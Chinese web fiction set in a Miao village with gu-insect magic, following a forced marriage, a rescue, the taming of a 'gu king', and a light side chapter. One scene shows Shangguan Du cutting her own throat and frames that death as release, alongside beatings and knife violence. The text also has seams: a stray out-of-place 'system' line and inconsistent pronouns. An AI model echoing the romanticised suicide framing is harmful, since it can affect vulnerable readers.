上官渡的睫毛颤了颤，望着他的方向，眼泪无声地滚落，砸在黑红的嫁衣上，晕开一小片深色的痕迹。 拳头一下下砸在背上，沈司南疼得眼前发黑，却死死咬着牙，不肯发出一声痛哼。他余光瞥见上官渡眼底的惊恐，指尖悄悄往袖管里缩了缩——那里藏着一只细如发丝的传音蛊。 兰榙的人打得狠了，他眼前一黑，彻底失去了意识。 再醒来时，他躺在杂物房的草堆上，手腕被重新捆住。守在门口的人正昏昏欲睡，他借着草堆的掩护，指尖费力地捻出那只传音蛊，轻轻往窗外弹去。 蛊虫振着薄翅，悄无声息地飞进偏房，落在上官渡黑红嫁衣的襟口。沈司南用意念催动蛊虫，声音便顺着蛊虫的触角，传进她的耳朵里：阿渡，嫁衣内侧有我藏的刀片，割开麻绳，等我信号。 上官渡的身子猛地一颤，垂在身侧的手悄悄攥紧，指尖缓缓往嫁衣内侧摸去。 偏房里静得只剩烛火噼啪的声响，上官渡指尖触到嫁衣内侧那片冰凉的金属，是沈司南藏的刀片。 她攥着刀片，抬头望了眼窗外沉沉的夜色，又低头看了看身上这身黑红如血的嫁衣——兰榙的威逼、绫司司咳血的模样、沈司南被打时的隐忍，全都涌进脑海里。 她没有割开手腕，而是猛地将刀片抵在脖颈间。指尖微微用力，细密的血珠立刻渗了出来，顺着颈侧的肌肤往下淌，染红了领口的狐毛。 “兰榙……你们赢不了的。”她喉咙里挤出嘶哑的气音，眼底没有半分惧色，只有一片决绝。 就在她要用力的瞬间，那只传音蛊突然振着薄翅落在她的手背上，沈司南的声音急切地传了进来：阿渡！别傻！等我！我带你走！ 偏房的烛火猛地跳了一下，烛芯爆出细碎的火星，随即又暗下去，只余下昏黄的光晕，映着满室死寂。 上官渡攥着刀片的手终究是没有停住。 锋利的金属划破颈侧的皮肉，鲜血喷涌而出，瞬间染红了领口的猩红狐毛，也浸透了那身黑红嫁衣的毒花绣纹。她身子晃了晃，靠在冰冷的窗棂上，视线渐渐模糊。 她想起初见沈司南的模样——他站在苗寨的晒谷场上，手里捏着一只竹编的蚱蜢，阳光落在他的发梢，暖得晃眼。那时她还是被族人捧在手心的神女，悄悄跟在他身后，看他把蚱蜢递给绫司司，看他揉着绫司司的头发笑，眼底满是对妹妹的宠溺。 她不是不懂，沈司南对绫司司从来都只是兄妹情。可兰榙的威逼像一张密不透风的网，他们逼着他娶自己，用绫司司的性命做要挟，逼着他将那份兄妹护佑，变成了旁人眼中的“偏爱”，也变成了压垮她的最后一根稻草。 她不怕疼，不怕成为傀儡，唯独怕他因为这份胁迫，余生都活在愧疚里。她比谁都清楚，他的温柔从来都坦荡，却偏偏要被裹上一层“不得已”的枷锁。 视线彻底黑下去前，她好像听见沈司南嘶哑的喊声，又好像看见自己站在吊脚楼的栏杆边，对着他的背影轻轻说了一句“对不起”。 风吹过窗棂，卷起她散落的发丝，手腕上的麻绳还紧紧捆着，可她终于不用再做兰榙的傀儡，不用再看着心上人，被一份莫须有的“偏爱”困住了。 守在门外的婆子推门进来时，只看见一身黑红嫁衣的少女靠在窗边，身子早已凉透，血顺着窗棂往下淌，在青砖地上积成一小滩，像开了一朵永不凋零的曼珠沙华 兰榙为首的女人赶到偏房时，上官渡的身子已经软倒在窗下，颈侧的伤口还在汩汩淌血，黑红嫁衣浸得透湿，像从血里捞出来的一般。 她脸色剧变，厉声嘶吼：“愣着干什么！把她抬去密室！用续命蛊！” 几个壮汉不敢耽搁，手忙脚乱地将上官渡抬进后山的密室。密室中央摆着一口盛满蛊液的青铜鼎，女人亲自下手，将上官渡颈侧的伤口用金疮药裹紧，又强行将一只通体赤红的蛊虫按进她的伤口里。 续命蛊钻进皮肉的瞬间，上官渡的手指猛地抽搐了一下。蛊液顺着伤口渗入血脉，原本渐渐冰凉的身子竟慢慢回暖，颈间的血也渐渐止住。 女人盯着她苍白的脸，眼底闪过一丝狠戾的算计：“想死？没那么容易。三日之后的婚礼，少了你这个神女，怎么能成？” 密室里的烛火明明灭灭，映着上官渡微微起伏的胸口，她还活着，却像个被抽走了魂魄的木偶，连睫毛都懒得颤动一下。 兰溪溪跟着母亲闯进密室时，正看见上官渡躺在青铜鼎边，脸色苍白得像一张纸，颈侧缠着渗血的布条。 她当即嗤笑一声，抬脚狠狠踹在鼎边的铜环上，发出刺耳的声响，目光里满是鄙夷和怨毒：“哟，这不是我们一心求死的神女吗？怎么没本事死透啊？” 她绕着上官渡走了一圈，指尖轻蔑地戳了戳她裹着布条的脖颈，声音尖利得像指甲刮过琉璃：“装什么清高？不就是仗着一张脸，想勾着沈司南吗？我告诉你，就算你活着，他也不会多看你一眼！你就是个没人要的废物，连死都死得这么碍眼！可惜了，司南哥哥要娶你这个贱人！” 兰溪溪越骂越起劲，最后干脆俯下身，凑到上官渡耳边，语气淬着冰碴：“等着吧，等你嫁给沈司南那天，我会让所有人都知道，你这个神女，不过是我们兰家的一条狗！” 苗寨的秋雨淅淅沥沥，打湿了吊脚楼的飞檐，也打湿了梨春梦身上那身半新不旧的红嫁衣。 她是被兰榙的人硬按着塞进花轿的，没有唢呐，没有贺礼，只有几个面无表情的壮汉抬着轿子，往李缇家的方向走。李缇是兰榙的心腹，满脸横肉，手背上爬满了狰狞的疤痕，是寨子里人人避之不及的狠角色。 花轿落地时，梨春梦的手还在发抖。她被人拽着推搡进堂屋，红盖头被粗暴地扯掉，露出一张苍白的脸。李缇端着一碗酒，咧嘴笑时露出泛黄的牙齿：“以后你就是我的婆娘，乖乖听话，有你好日子过。” 兰榙的人站在门边，冷冷地丢下一句“安分点，别给你爹娘惹麻烦”，便转身离去。堂屋里只剩下她和李缇，屋外的雨越下越大，像一声声压抑的呜咽。梨春梦望着屋梁上挂着的破旧红绸，眼泪无声地滚落，砸在红嫁衣的裙摆上，晕开一小片深色的水渍。她知道，从今天起，她再也不是那个能在晒谷场上追着蝴蝶跑的梨春梦了。 雨丝斜斜地打在青石板上，溅起细碎的水花。 兰榙的人松开手的瞬间，李缇就拽住了梨春梦的手腕，那力道大得像要捏碎她的骨头。她单薄的身子踉跄了一下，红嫁衣的裙摆扫过湿漉漉的地面，沾了满脚的泥泞。 “走！还愣着干什么？”李缇粗声粗气地吼着，指腹蹭过她手腕细嫩的肌肤，带着一股令人作呕的油腻味。梨春梦想挣扎，却被他反手扣住胳膊，整个人被半拖半拽地往巷子深处走。 她的视线越过李缇宽厚的肩膀，望向寨子口的方向——那里曾是她和伙伴们放风筝的地方，如今只剩下灰蒙蒙的雨雾。眼泪混着雨水滑进嘴里，又咸又涩，她却连哭出声的勇气都没有，只能任由李缇拽着，一步步走向那间黑漆漆的、看不到尽头的土坯房。 “不！320系统，我要重新开始！”许祭崩溃大喊，却没有回应。 土坯房的窗纸被夜风刮得簌簌响，昏黄的油灯下，李缇正瘫在桌边喝酒，酒气熏得满屋子都是。 梨春梦缩在墙角，指尖悄悄捻着一只细如蚊蚋的迷心蛊——这是她偷偷养在发簪里的，是苗家姑娘护身的小玩意儿。她望着李缇满脸横肉的模样，又想起绫司司被关在柴房里咳血的样子，心一横，将蛊虫往油灯的火苗上凑了凑。 迷心蛊振着薄翅，悄无声息地落在李缇的脖颈上，钻进他的衣领里。 不过片刻，李缇晃了晃脑袋，眼神渐渐变得浑浊。他放下酒碗，嘟囔着站起身，脚步虚浮地往外走。梨春梦跟在他身后，压低声音，用苗语轻轻吩咐：“去柴房，把那个叫绫司司的姑娘放了，别让人看见。” 李缇像个提线木偶，乖乖应了声“好”，推开房门，一头扎进夜色里。梨春梦靠在门框上，攥着发簪的手微微发抖，望着他的背影，心里既怕又慌——迷心蛊的效力只有一个时辰，她不知道，这一个时辰，能不能救绫司司逃出虎口。 苗寨的祭台被兰榙布置得诡异又隆重，黑红相间的绸布缠上了古老的图腾柱，风一吹，猎猎作响。 沈司南穿着一身玄色礼服，领口绣着暗金纹路，被两个壮汉押着站在祭台中央。他的手腕还留着麻绳勒出的青紫痕迹，目光却死死盯着缓缓走来的身影——上官渡一身黑红嫁衣，狐毛领口蹭着她苍白的颈侧，缠枝毒花绣纹在风里微微晃动，颈间的布条还隐约渗着红。 兰榙为首的女人高举起青铜令牌，声音冷硬地传遍整个寨子：“吉时到——拜天地！” 沈司南的身子僵着，不肯动。身后的壮汉狠狠推了他一把，他踉跄着，被迫对上上官渡那双死寂的眼。他看见她眼底一闪而过的绝望，看见她攥着嫁衣裙摆的手指泛白，喉间涌上一股腥甜。 “一拜天地——” “二拜高堂——” 一声声唱喏像刀子一样剐着人心。轮到夫妻对拜时，沈司南猛地抬头，目光穿透人群，望向柴房的方向——绫司司应该已经被梨春梦救走了，这是他唯一的慰藉。 他缓缓俯身，额头几乎要碰到上官渡的额角，用只有两人能听见的声音说：“阿渡，对不起。” 上官渡的睫毛颤了颤，没有回应。她只是跟着他俯身，像个没有灵魂的木偶，任由兰榙的人掌控着这场荒唐的婚礼。 祭台下，兰溪溪攥着拳头，指甲嵌进掌心，眼底满是怨毒的火光。 就在夫妻对拜的俯身瞬间，祭台外突然传来一阵急促的喊杀声，惊得图腾柱上的黑红绸布簌簌发抖。 沈司南猛地抬头，就看见绫司司跟着一群苗寨的后生冲了进来，她手里攥着一把砍柴刀，脸上还沾着尘土，却满眼亮得惊人的光：“兰榙！放开他们！” 原来梨春梦的迷心蛊奏效后，绫司司没有只顾着逃，而是连夜翻过山坳，找到了被兰榙打压的旧部族人。那些人本就对兰榙的暴政积怨已久，一听闻神女被囚、族人受难，当即抄起家伙跟着她杀了回来。 兰榙为首的女人脸色剧变，厉声喝道：“拦住他们！” 可那些被逼迫来观礼的寨民，早就心怀不满，此刻纷纷倒戈，祭台上下瞬间乱作一团。 沈司南趁机挣开身边壮汉的钳制，一把拽住上官渡的手腕，掌心的温度烫得她微微一颤。他盯着她死寂的眼眸，声音里带着从未有过的急切：“阿渡，跟我走！” 喊杀声戛然而止，祭台上下的空气瞬间凝固。 兰榙为首的女人不知何时绕到了绫司司身后，枯瘦的手指死死掐住她的脖颈，一把淬了毒的匕首抵在她的动脉上。绫司司挣扎着想要开口，却只能发出嗬嗬的闷响，脸色憋得通红。 “谁敢动？”女人的声音尖利又阴冷，目光扫过那些举着锄头砍刀的后生，“她可是沈司南心尖上的妹妹，你们要是想让她死，尽管往前冲！” 冲在最前面的几个后生顿时僵住，脚步连连后退。旧部族人面面相觑，手里的武器微微发颤——他们不怕兰榙的狠辣，却怕绫司司真的丧命于此，更怕辜负了沈司南的信任。 祭台中央，沈司南伸出去拽上官渡的手猛地顿住，眼底的光一点点暗下去。他看着绫司司痛苦的模样，看着女人得意的狞笑，攥紧的拳头里渗出了血。 混乱里，缩在人群后的梨春梦死死咬着唇，指尖飞快地从发间拔下那支藏蛊的银簪。 簪头的缝隙里，蜷着一只通体银白的扰神蛊——这蛊不伤人性命，却能钻入人的经脉，搅得人四肢发麻、意识昏沉。她瞅准兰榙女人掐着绫司司脖颈的手，猛地将蛊虫弹了出去。 银白的小虫振着薄翅，悄无声息地落在女人的手腕上，瞬间钻进袖口。不过眨眼的功夫，女人的手臂就不受控制地抖了一下，抵在绫司司颈侧的匕首偏了半寸，掐着脖颈的力道也松了几分。 绫司司抓住这转瞬即逝的机会，狠狠往后一撞，手肘狠狠顶在女人的小腹上！ 密林深处的风带着草木的潮气，月光穿过枝叶的缝隙，洒下斑驳的碎影。四人靠在粗壮的古树下，胸口都在剧烈起伏，身后的喧嚣早已被抛远。 沈司南先松开上官渡的手腕，指尖下意识地拂过她颈侧还在渗血的布条，声音沙哑：“阿渡，你撑住，我身上还有金疮药。” 上官渡抬眼看向他，眼底的死寂终于裂开一丝缝隙，轻轻点了点头。 另一边，绫司司抓着梨春梦的手，眼眶泛红：“春梦，谢谢你，要不是你……” 梨春梦摇摇头，反手拍了拍她的手背，脸上露出一丝劫后余生的笑意：“咱们是姐妹，说这些干什么。” 她顿了顿，又看向沈司南，“我用迷心蛊控住李缇放了你，又趁乱放出扰神蛊，就是赌一把能救你们出来。” 沈司南朝着梨春梦郑重地颔首：“大恩不言谢，以后你的事，就是我沈司南的事。” 话音刚落，上官渡忽然从嫁衣内侧摸出那个藏了许久的瓷瓶，递到他面前，瓷瓶上还沾着她的血痕。 沈司南接过瓷瓶，拔开塞子凑近鼻尖闻了闻，瞳孔骤然一缩：“这是解蛊清！兰榙用的那些傀儡蛊、迷心蛊，全靠这药能解！” 这话一出，梨春梦和绫司司都愣住了，随即眼底迸发出惊喜的光。上官渡靠在树上，看着瓷瓶轻轻开口——这是她哑了这么久，第一次发出声音，沙哑 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梨春梦心里一慌，手里的陶罐差点摔在地上。她猛地站起身，想要往后退，却被李缇一把揪住了头发，头皮传来一阵撕裂般的疼。 “调配解药？想救那些被蛊控制的人？”李缇拽着她往寨子的方向拖，声音里满是狠戾，“我这就把你交给兰榙大人，看她怎么收拾你！” 兰榙坐在祭台的木椅上，指尖把玩着那柄淬毒的匕首，目光冷得像冰。 李缇将梨春梦狠狠掼在地上，她磕到了石阶，额头瞬间渗出血迹，手里的解药陶罐摔得粉碎，药汁溅湿了她的裙摆。 “胆子不小。”兰榙缓缓站起身，抬脚踩住梨春梦的手腕，力道大得像是要碾碎她的骨头。梨春梦疼得浑身发抖，却死死咬着牙不肯求饶。 兰榙俯下身，反手就是一记响亮的耳光，扇得梨春梦嘴角立刻破了皮，血丝渗了出来。“敢用蛊惑我的人，敢帮沈司南那群逆贼，你以为你逃得掉？” 她的手指掐住梨春梦的下巴，逼着她抬头，另一只手的匕首划破她的脸颊，留下一道细细的血痕。“我倒要看看，你的蛊虫，能不能救你自己的命。” 就在匕首即将刺入梨春梦肩胛的瞬间，祭台外突然响起震天的喊杀声。 沈司南领着寨里的长老和旧部族人冲了进来，火把的光映亮了他眼底的怒火。长老高举着象征苗寨正统的青铜令牌，厉声喝道：“兰榙！你篡夺寨权，残害族人，今日便是你的死期！” 旧部族人一拥而上，瞬间将兰榙的手下冲得七零八落。沈司南几个箭步冲到祭台边，一脚踹开李缇，俯身将浑身是伤的梨春梦护在身后，目光冷冽如刀：“谁也别想动她！” 兰榙见大势已去，却依旧不肯认输，攥着匕首就朝沈司南扑来，却被身旁的长老抬手放出的困兽蛊缠住了脚踝，重重摔在地上。 雨后的苗寨被洗得清亮，吊脚楼的栏杆上挂着串串红辣椒，风一吹，带着草木和烟火的暖香。 沈司南、上官渡、绫司司和梨春梦坐在晒谷场的石碾上，面前摆着一碗碗甜米酒。梨春梦脸颊上的疤痕淡了些，正低头用草叶编蚱蜢，绫司司凑在她身边，叽叽喳喳说着后山的野果子熟了。 上官渡靠着沈司南的肩膀，手里摩挲着那个空了的瓷瓶，声音轻柔：“以前总觉得，能站在这儿看月亮就好。”沈司南侧过头，看着她眼底重新亮起的光，喉结动了动，轻声道：“以后，天天都能看。” 夕阳把四人的影子拉得很长，远处传来寨民的歌声，混着芦笙的调子，漫山遍野都是安宁的味道。那些关于兰榙的恐惧、关于生死的挣扎，都被风吹散，变成了吊脚楼里的故事，被一遍遍讲起。 梨春梦将编好的草蚱蜢递给绫司司，忽然眼睛一亮，指着后山的方向笑出声：“过几日那片野山楂该红透了，酸酸甜甜的，正好解馋。” 绫司司立刻拍手应和：“我要去！我要去！还要摘些野莓子酿果酒！” 沈司南看着两人雀跃的模样，转头对上上官渡含笑的目光，伸手揉了揉她的头发：“那我们就一起去，顺便在山里搭个小竹棚，守着日落喝你酿的酒。” 上官渡轻轻点头，指尖勾住他的衣角，眼底的笑意漫开来，像山间最柔的风。梨春梦笑着起哄，晒谷场上的笑声，飘得很远很远。 几人踏着晨露往后山走，山路两旁的野菊开得正好，风吹过带着淡淡的香。绫司司和梨春梦走在最前面，追着一只彩蝶跑得上气不接下气，时不时回头喊他们快点。 沈司南和上官渡并肩走在后面，步子放得很慢。他看着上官渡弯腰去摘路边的野山楂，指尖被酸得微微皱起眉，忍不住失笑：“慢点吃，林子里多得是。” 上官渡抬眸看他，眼底盛着细碎的光，轻轻“嗯”了一声。沈司南伸手帮她拂掉发间沾着的草屑，动作自然得像对待多年的好友，没有半分逾矩。 晨雾还没散尽，后山的林间弥漫着野山楂的酸甜气，混着湿润的草木腥。绫司司和梨春梦的笑声惊飞了枝桠间的山雀，两人提着竹篮，踩着厚厚的落叶往前跑，篮沿上垂着的红绸带晃来晃去，像两道跃动的火苗。 “慢点跑，别摔了！”沈司南在后头喊了一声，脚步却没加快，依旧和上官渡并肩走着。 上官渡的指尖捏着一颗刚摘的野山楂，果皮红得透亮，她轻轻咬了一口，酸意瞬间漫开，眉头忍不住微微蹙起。沈司南瞥见她的模样，从兜里摸出一颗用糖渍过的山楂干递过去：“尝尝这个，没那么酸。” 上官渡抬眸看他，眼底映着林间细碎的晨光，像盛着一汪浅溪。她接过山楂干，指尖不经意间擦过他的掌心，两人都没在意，只当是多年老友间最寻常的触碰。沈司南的目光落在她颈侧淡去的疤痕上，轻声问：“最近伤口还疼吗？” “早不疼了。”上官渡的声音依旧带着点沙哑，却比在祭台上时清亮了许多，“长老给的药膏很管用。” 两人聊着天，脚步渐渐慢下来，身后传来梨春梦的喊声：“沈司南！上官渡！你们快过来！这里有个山洞！” 沈司南和上官渡对视一眼，快步朝着声音的方向走去。只见绫司司和梨春梦正站在一片茂密的藤蔓前，藤蔓被梨春梦用柴刀劈开了一道口子，露出后面一个黑漆漆的洞口。洞口约莫一人高，岩壁上爬满了青苔，风从里面吹出来，带着一股阴凉的潮气，还夹着一丝若有若无的奇异香气。 “这山洞看着有些年头了，不知道里面有没有什么宝贝。”绫司司踮着脚往洞里张望，眼睛亮晶晶的。 梨春梦伸手拽了拽她的衣角，神色带着几分谨慎：“别乱说话，苗寨的后山藏着不少老祖宗留下的东西，说不定有蛊虫守着。” 沈司南从背包里摸出打火机，点燃了一支松油火把，火光摇曳着照亮了洞口的一小片区域。“我先进去探探路，你们跟在我身后，别走散了。”他转头看向上官渡，语气依旧是朋友间的关切，“你跟紧我，洞里路滑。” 上官渡点了点头，握紧了手里的山楂枝，枝桠上还挂着两颗红彤彤的果子。 四人鱼贯而入，山洞比想象中要宽敞，岩壁上布满了奇形怪状的钟乳石，水滴顺着石尖往下落，在地上砸出一个个浅浅的水洼。火把的光芒有限，只能照亮眼前的一小片地方，再往深处去，便是浓得化不开的黑暗。 走了约莫半炷香的功夫，前方的空间忽然开阔起来，火光映亮了洞中央的一座石台，石台上摆着一个古朴的青铜鼎，鼎身刻着繁复的苗家图腾，鼎口缭绕着淡淡的白雾，正是那股奇异香气的来源。 “这是什么？”绫司司忍不住小声问道，声音在空旷的山洞里回荡。 梨春梦的脸色忽然变得凝重起来，她盯着青铜鼎，嘴唇微微颤抖：“这是……蛊鼎。老祖宗的记载里，只有守护蛊王的地方，才会有这样的鼎。” 她的话音刚落，青铜鼎忽然发出一阵低沉的嗡鸣，鼎口的白雾骤然翻涌起来，一道黑影猛地从鼎中窜出，速度快得像一道闪电。 “小心！”沈司南眼疾手快，将身边的上官渡往身后一拉，同时举起火把挥了过去。 火光映亮了那道黑影的真面目——那是一只通体乌黑的蛊虫，身形比寻常的蛊虫要大上数倍，头顶长着一对晶莹剔透的触角，触角微微颤动着，散发出一股慑人的威压。它悬浮在半空中，一双复眼闪烁着幽绿的光，死死地盯着闯入的四人。 “是蛊王！”梨春梦的声音带着一丝惊恐，“传说蛊王有灵，能号令天下蛊虫，只有血脉纯净的苗家后人才能掌控它！” 蛊王发出一声尖锐的嘶鸣，周围的岩壁上忽然传来窸窸窣窣的声响，无数细小的蛊虫从石缝里钻出来，密密麻麻地朝着四人爬来，看得人头皮发麻。 绫司司吓得脸色发白，紧紧抓着梨春梦的胳膊：“怎么办？我们要不要跑？” 梨春梦咬着牙，从发间拔下银簪，簪头藏着的几只迷心蛊振翅飞出，却在靠近蛊王的瞬间，被一股无形的力量震得粉碎。“没用的，蛊王的威压太强，普通的蛊虫根本不是对手。” 沈司南握着火把的手微微收紧，他能感觉到蛊王的目光落在了自己身上，那目光里没有敌意，反而带着一丝审视。他忽然想起，小时候爷爷曾告诉他，沈家的先祖曾是苗寨的蛊师，血脉里藏着能与蛊虫沟通的力量。 他深吸一口气，缓缓放下了手里的火把，对着蛊王伸出了手。“我没有恶意。”他的声音平静而沉稳，在山洞里格外清晰，“我们只是误入此地，并非有意打扰。” 蛊王的触角颤动得更厉害了，它缓缓朝着沈司南的方向飘来，幽绿的复眼死死地盯着他的手掌。上官渡的心提到了嗓子眼，想要开口劝阻，却又怕惊扰了蛊王。 就在这时，沈司南的手掌心忽然泛起一阵淡淡的红光，那是血脉觉醒的征兆。蛊王似乎感受到了什么，发出一声兴奋的嘶鸣，猛地俯冲而下，停在了他的掌心。 它的身形渐渐缩小，最终变成了一只拇指大小的蛊虫，温顺地蜷缩在沈司南的掌心，头顶的触角轻轻蹭着他的皮肤。 周围的那些小蛊虫，也纷纷停下了脚步，恭敬地趴在地上，一动不动。 四人都看呆了，绫司司甚至忘记了害怕，张大了嘴巴：“沈司南……你、你竟然能收服蛊王？” 梨春梦的眼中满是震惊，她喃喃自语：“原来沈家的血脉是真的……老祖宗的记载果然没错。” 沈司南看着掌心温顺的蛊王，心里也是一阵波澜。他能清晰地感觉到，自己和蛊王之间建立起了一种奇妙的联系，他能听懂它的心声，能感受到它的喜怒哀乐。 他抬起头，对上上官渡的目光，嘴角勾起一抹释然的笑，语气依旧是朋友间的轻松：“看来，我们运气不算太差。” 上官渡看着他掌心的蛊王，又看着他脸上的笑容，紧绷的神经终于放松下来，眼底也泛起了笑意。 梨春梦走上前，仔细打量着沈司南掌心的蛊王，神色带着几分敬畏：“蛊王认主，是天大的机缘。有它在，以后兰榙的余党要是敢再来找麻烦，就再也不用怕了。” 绫司司也凑了过来，小心翼翼地伸出手指，想要碰一碰蛊王，却又怕吓到它。“它看起来好乖啊，一点都不像传说中那么可怕。” 沈司南轻轻抚摸着蛊王的触角，感受到它传递过来的亲昵之意，心里忽然生出一股责任感。“以后，就由我来守护它吧。” 火光摇曳，映亮了四人的脸庞，也映亮了洞中央的青铜鼎。山洞里的水汽渐渐散去，奇异的香气变得更加清新，仿佛连空气都变得温暖起来。 绫司司忽然想起了什么，拍了拍自己的竹篮：“哎呀，我的野山楂还没摘够呢，等出去了，我们再去摘一篮，酿成果酒，庆祝今天的奇遇！” 梨春梦笑着点头：“好啊，我还可以用后山的草药，酿一壶解毒酒，正好配着果酒喝。” 沈司南看向身边的上官渡，语气依旧是温和的关切：“等出去了，我送你一串山楂糖葫芦，就像小时候那样。” 上官渡的眼底漾起浅浅的笑意，轻轻“嗯”了一声。 掌心的蛊王轻轻蹭着他的皮肤，仿佛也在附和着这场热闹的约定。山洞深处的黑暗里，仿佛有无数双眼睛在注视着这一切，那是老祖宗留下的守护，也是属于他们四人的，新的故事的开端。 9. 蛊王蛊心[番外] 春日的暖阳洒遍青石板巷，上官渡挎着个竹篮，里面装着刚蒸好的桂花糕，脚步轻快地敲开了沈家的院门。 绫司司跟在他身后，手里攥着两只缠了彩绳的纸鸢，脆生生地喊：“沈司南！快出来玩呀！” 院门“吱呀”一声开了，沈司南正倚在门扉边，手里还拿着本没看完的书，眉眼间带着少年人特有的清朗，只是眉宇间藏着一丝不易察觉的单薄。他身侧还站着个穿青布衫的少年，眉眼沉静，正是许祭，手里捏着个竹制的小风车，风一吹，叶片便呼呼转着。 “你们来得正好，”沈司南合上书迎上来，笑着扬了扬下巴，“许祭刚寻了我，说河滩的草都绿透了。” 上官渡把竹篮递过去，挑眉道：“先别急着说这个，今日的风正好，咱们去城外的河滩放纸鸢。” 绫司司晃了晃手里的纸鸢，彩绳在空中划出好看的弧度：“我这只蝴蝶鸢，肯定能飞得最高！” 许祭上前一步，将小风车递给绫司司，声音清清淡淡的：“若是飞不起来，我帮你调线。” 沈司南接过竹篮，顺手将书搁在门廊的石桌上，笑着应下：“好啊，比就比，谁输了，就请吃巷口的糖葫芦。” 四人说说笑笑地出了巷，春日的风裹着花香扑面而来，青石板路的尽头，是一望无际的晴空，正适合将满怀的少年意气，都放飞在风里。 城外河滩的风带着水汽，纸鸢在半空摇摇晃晃，绫司司追着断线的蝴蝶鸢跑，脚下一滑，竟直直摔进了深水潭里。 “司司！” 上官渡的惊呼声刺破了喧闹，他甩掉布鞋，连外衣都来不及脱，纵身跃入冰凉的潭水。春日的水浸得人骨头疼，他循着水面上挣扎的影子游过去，一把抓住绫司司的手腕，拼尽全力将她往岸边拖。 沈司南和许祭早已在岸边急得团团转，两人合力将绫司司拉上岸时，她已经呛得失去了意识，嘴唇紫得吓人，胸口也没了起伏。 “怎么办？她好像……”沈司南的声音都在发颤。 上官渡顾不上抹脸上的水，跪在绫司司身边，颤抖着手指探了探她的鼻息，随即猛地俯下身，捏住她的下颌，仰头清理掉她口鼻里的泥沙，然后毫不犹豫地覆上她的唇，渡了一口气进去。 一下，又一下。 他的掌心抵着她的胸口轻轻按压，胸腔里的心跳擂鼓般响，脑子里只有一个念头——一定要让她醒过来。 许祭蹲在一旁，迅速扯下自己的青布衫，预备等绫司司咳出积水就给她盖上。沈司南攥紧了拳头，死死盯着绫司司的脸，眼底满是焦灼。 潭边的风还在吹，带着湿冷的凉意，却吹不散岸边少年们心头的慌乱。 上官渡的掌心抵着绫司司的胸口，一下一下地按压，温热的气息反复渡进她的唇齿间，带着少女独有的急促与慌乱。 就在她准备再一次俯身时，躺在地上的人忽然微微动了动，睫毛颤了颤，然后抬手勾住了她的脖颈，仰起头，软软的唇瓣主动贴上了她的。 时间仿佛在这一刻静止了。 上官渡的身体瞬间僵住，连呼吸都忘了，只觉得唇上的触感温热柔软，带着淡淡的水汽和桂花糕的甜香。 下一秒，绫司司偏过头，猛地咳嗽起来，呛出好几口浑浊的潭水，脸色也从青紫慢慢透出了一点血色。她眨了眨湿漉漉的眼睛，看着近在咫尺的上官渡，脸颊瞬间红透，抬手拍了拍她的肩膀，小声嘟囔：“谢啦，渡渡。要不是你，我今天肯定栽这儿了。” 岸边的沈司南和许祭都松了口气，沈司南忍不住打趣：“行啊上官渡，你俩这急救现场，看着倒像……” 话没说完，就被绫司司抓起一把湿泥砸了过去。 春日的风卷着潭水的凉意，却吹不散少女们之间，悄悄漫开的亲昵与甜意。 四人坐在河滩的草地上晒着太阳，湿衣服被风一吹，带着点黏腻的凉意。绫司司还在红着脸和上官渡打闹，清脆的笑声飘得老远。 许祭忽然转头看向身边的沈司南，他指尖捻着一根草茎，眉眼沉静，声音轻轻的，带着少年人特有的认真：“好朋友就要亲吗？” 沈司南愣了一下，顺着他的目光看向不远处笑作一团的两人，随即低低地笑了，伸手揉了揉许祭的头发：“那是情急之下的救命，不一样的。” 许祭哦了一声，没再说话，只是望着天边的纸鸢，轻轻晃了晃腿。风卷着花香漫过来，把少女们的笑声揉得更软了。 上官渡从竹篮里掏出油纸包着的桂花糕，油纸被潭水洇湿了边角，糕体却依旧软糯香甜。她把糕分成四块，先递了一块给还在揉胸口的绫司司：“快吃块甜的压一压，瞧你刚才吓的。” 绫司司接过来咬了一大口，桂花的甜香漫过舌尖，脸颊还泛着红：“要不是你，我今天连糕都吃不上了。” 沈司南伸手去抢上官渡手里的另一块，却被她抬手拍开：“急什么，人人有份。”他不死心，绕到竹篮边去偷，刚捏起一角，就被许祭伸手按住了手腕。许祭眉眼淡淡：“先洗手，刚摸了泥。” 沈司南撇撇嘴，只好蹲到溪边胡乱搓了搓手。四人围坐在草地上，你一块我一块地分食桂花糕，碎屑掉了满身也不在意。绫司司故意把糕渣蹭到上官渡的发梢上，惹得两人又闹作一团，笑声滚过河滩，惊飞了树梢上的几只麻雀。 风里的花香和糕香缠在一起，春日的阳光落下来，把四个少年人的影子，拉得又暖又长。 桂花糕的甜香还漫在风里，许祭掰了一小块糕放进嘴里，腮帮子轻轻鼓了鼓，忽然转头看向身边的沈司南。 他的眉眼依旧沉静，声音软软的，带着点少年人特有的认真：“司南，你说我们两个应该不会亲吧？” 沈司南正抬手掸掉落在衣襟上的糕屑，闻言动作一顿，随即低笑出声，伸手弹了弹许祭的额头：“傻不傻，我们又没掉水里，干嘛要亲？” 许祭摸了摸额头，望着远处追着蝴蝶跑的上官渡和绫司司，轻轻“哦”了一声，嘴角却悄悄弯起了一点浅浅的弧度。 风卷着草叶的清香掠过草地，把两个少年的悄悄话，吹得轻飘飘的。 夕阳把青石板巷的影子拉得老长，四人踩着余晖往回走，巷口的糖葫芦摊子正冒着热气，糖衣裹着山楂，红得透亮。 许祭眼尖，率先冲过去：“输家请客！我要两串！” 上官渡立刻拆台：“明明是你风筝飞得最低，好意思说？” 绫司司踮着脚凑到摊子前，指着最大的一串山楂：“老板，我要这个！” 沈司南跟在最后，慢悠悠地走过来。许祭已经付了钱，塞给他一串，挑眉道：“拿着，别客气。” 沈司南咬了一口，糖衣在舌尖化开，甜丝丝的。 四人并排走在巷子里，手里的糖葫芦晃来晃去。绫司司咬着山楂，忽然抬手把一串糖葫芦递到上官渡嘴边，笑得眉眼弯弯：“渡渡，快尝尝！” 上官渡张嘴咬下一颗，酸得眯起眼睛，惹得绫司司笑得直跺脚。 许祭瞥见沈司南盯着手里的糖葫芦出神，伸手勾住他的肩膀：“甜不甜？” 沈司南点了点头，嘴角的笑意藏不住。 晚风卷着糖葫芦的甜香，混着少年少女的笑声，在巷子里轻轻漾开。 四人分了手，巷子里的脚步声渐渐散了。上官渡正送绫司司到岔路口，身后忽然传来一阵轻快的脚步声，司徒洁攥着衣角追上来，脸颊红得像熟透的山楂，声音细若蚊蚋却格外清晰：“上官渡，我喜欢你！” 上官渡愣在原地，绫司司捂着嘴偷笑，冲她挤了挤眼睛，踮着脚跑远了。晚风卷着巷子里的甜香，吹得司徒洁的发梢轻轻晃，她攥着衣角的手紧了紧，又重复了一遍：“我是认真的！” 